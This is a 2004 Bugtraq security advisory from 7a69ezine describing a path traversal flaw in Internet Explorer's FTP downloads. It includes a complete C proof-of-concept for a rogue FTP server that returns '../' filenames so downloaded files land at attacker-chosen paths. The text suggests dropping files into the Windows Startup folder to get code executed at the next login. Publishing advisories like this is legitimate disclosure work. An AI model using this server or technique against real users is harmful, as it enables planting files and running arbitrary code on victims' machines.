<<< Date Index >>>     <<< Thread Index >>>

7a69Adv#17 - Internet Explorer FTP download path disclosure



<NOTE FOR BUGTRAQ MODERATOR>

Excuseme if you have recibed this mail reapeated, but I had some problems on 
my mail server some days ago, and I have sent this mail 3 or 4 times. 
Sorry :)

Delete this note to post to the list. Thank's you.

</NOTE FOR BUGTRAQ MODERATOR>


- ------------------------------------------------------------------
       7a69ezine Advisories                      7a69Adv#17
- ------------------------------------------------------------------
  http://www.7a69ezine.org                            [23/12/2004]
- ------------------------------------------------------------------

Title:        Internet Explorer FTP download path disclosure

Author:       Albert Puigsech Galicia - <ripe@xxxxxxxxxxxxx>

Software:     Microsoft Internet Explorer

Versions:     >= 6.0.3790.0

Remote:       yes

Exploit:      yes

Severity:     Medium-High

- ------------------------------------------------------------------



I. Introduction.

 Internet Explorer is a well-known HTTP browser, and like others it can use 
more protocols, for example FTP. The security historial of this navigator is 
really cool and we are glad for the excelent work done by Microsoft. We love 
your (in)security features.



II. Description.

 When you save a file from an FTP server to a local folder it is saved on 
'local_folder/file_name', consequently if the name of the file contains 
'../', the real destination of the file changes. Despite it is imposible to 
create a file with '../' characters an FTP server can reply a LIST request 
with this char on filenames, so a malicious FTP server can modify the folder 
where the downloaded file will be stored.

 Of the three possible ways of downloading a file only two are affected by 
this bug; the left-click and save-as procedure and dragging the file. The one 
that is unaffected is the double-click procedure.


 
III. Exploit

 You can use the very-tiny and malicious FTP server attached in this mail to 
check the vulnerability. It's easy to use './ftpd-iexpl localfile 
remotefile', where localfile is a file on the FTP server and localfile is the 
path where the will be stored on the attacked system. If you try to overwrite 
a file the Internet Explorer show a confirmation message, so is better for 
explotation purposes to create new files, but It's not a problem to execute 
arbitrari code because you can create, for example, startup files on 'C:
\Documents and settings\All Users\Start menu\Programs\Start' that will be 
executed after next user login.

 However Internet Explorer shows the complete name of the file, including the 
'../' characters so It's unlikely that it will not arise suspicions, but you 
can put the malicious file into a FTP folder and waiting for victim dragging 
the folder.



IV. Patch

 Don't use Internet Explorer and turn to Firefox world.


V. Timeline

06/12/2004  -  Bug discovered
23/12/2004  -  Advisor released
25/12/2004  -  Noel; uoh! ouh! ouh!


VI. Extra data

 You can find more 7a69ezine advisories on this following link:

    http://www.7a69ezine.org/avisos/propios [spanish info]
/*
 * Internet Explorer FTP download path disclosure fucked prof of concept 
(7a69Adv#17)
 *
 *  ¡¡¡ DOES NOT WORK USING PASV MODE, YOU MUST CODE IT IF YOU WANT !!!
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define MAX_BUF         1024
#define FTP_PORT        21

int main(int argc, char **argv) {
        char ch;
        char buffer[MAX_BUF + 1];
        char ipbuf[MAX_BUF + 1];
        char *local_file, *remote_file;
        int sfdmain, sfdses, sfddata;
        int readed;
        int ip1,ip2,ip3,ip4,port1,port2;
        int fd;
        struct stat st;
        struct sockaddr_in ftpmain = { AF_INET, htons(FTP_PORT), INADDR_ANY };
        struct sockaddr_in ftpdata;
        
        if (argc < 3) {
                printf("\t7a69Adv#17 - Internet Explorer FTP download path 
disclosure prof of concept\n");
                printf("Use:\n");
                printf("\t%s <local_file> <remote_file>\n", argv[0]);
                exit(0);
        }

        local_file = argv[1];
        remote_file = argv[2];
        
        if ((fd = open(local_file, O_RDONLY)) == -1) {
                perror("open()");
                exit(-1);
        }

        if ((sfdmain = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                perror("socket()");
                exit(-1);
        }
        
        if (bind(sfdmain, (struct sockaddr *)&ftpmain, sizeof(struct sockaddr)) 
== -1) {
                perror("bind()");
                exit(-1);
        }

        if (listen(sfdmain, 1) == -1) {
                perror("listen()");
                exit(-1);
        }

        if ((sfdses = accept(sfdmain, NULL, NULL)) == -1) {
                perror("accept()");
                exit(-1);
        }

        write(sfdses, "200 OK\r\n", 8);

        while ((readed = read(sfdses, buffer, MAX_BUF)) > 0) {
                buffer[readed] = 0;
                printf(">> %s", buffer);
                if (!strncmp(buffer, "noop", 4)) write(sfdses, "200 OK\r\n", 8);
                else if (!strncmp(buffer, "USER ", 5)) write(sfdses, "331 
OK\r\n", 8);
                else if (!strncmp(buffer, "PASS ", 5)) write(sfdses, "230 
OK\r\n", 8);
                else if (!strncmp(buffer, "CWD ", 4)) write(sfdses, "250 
OK\r\n", 8);
                else if (!strncmp(buffer, "PWD", 3)) write(sfdses, "257 
\"/\"\r\n", 9);
                else if (!strncmp(buffer, "TYPE ", 5)) write(sfdses, "200 
OK\r\n", 8);
                else if (!strncmp(buffer, "PORT ", 5)) {
                        sscanf(&buffer[5], "%i,%i,%i,%i,%i,%i", &ip1, &ip2, 
&ip3, &ip4, &port1, &port2);
                        snprintf(ipbuf, MAX_BUF, "%i.%i.%i.%i", ip1, ip2, ip3, 
ip4);
                        ftpdata.sin_family = AF_INET;
                        ftpdata.sin_addr.s_addr = inet_addr(ipbuf);
                        ftpdata.sin_port = htons(port1*256+port2);
                        if ((sfddata = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                                perror("socket()");
                                exit(-1);
                        }
                        if (connect(sfddata, (struct sockaddr *)&ftpdata, 
sizeof(struct sockaddr)) == -1) {
                                write(sfdses, "421 OK\r\n", 8);
                        } else {
                                write(sfdses, "220 OK\r\n", 8);
                        }
                }
                else if (!strncmp(buffer, "LIST", 4)) {
                        write(sfdses, "150 OK\r\n", 8);
                        snprintf(buffer, MAX_BUF, "-rwxrwxrwx    1 0        0   
           1 Dec 08 07:36 /../../../../../../../../../../..%s\r\n", 
remote_file);
                        write(sfddata, buffer, strlen(buffer));
                        close(sfddata);
                        write(sfdses, "226 OK\r\n", 8);
                
                }
                else if(!strncmp(buffer, "RETR ", 5)) {
                        write(sfdses, "150 OK\r\n", 8);
                        fstat(fd, &st);
                        while(st.st_size-- > 0) {
                                read(fd, &ch, 1);
                                write(sfddata, &ch, 1);
                        }
                        close(sfddata);
                        write(sfdses, "226 OK\r\n", 8);
                }
                else if (!strncmp(buffer, "QUIT", 4)) {
                        write(sfdses, "221 OK\r\n", 8);
                        close(sfdses); close(sfdmain); close(sfddata);
                }
                else
                        write(sfdses, "500 WTF\r\n", 9);
                

        }
}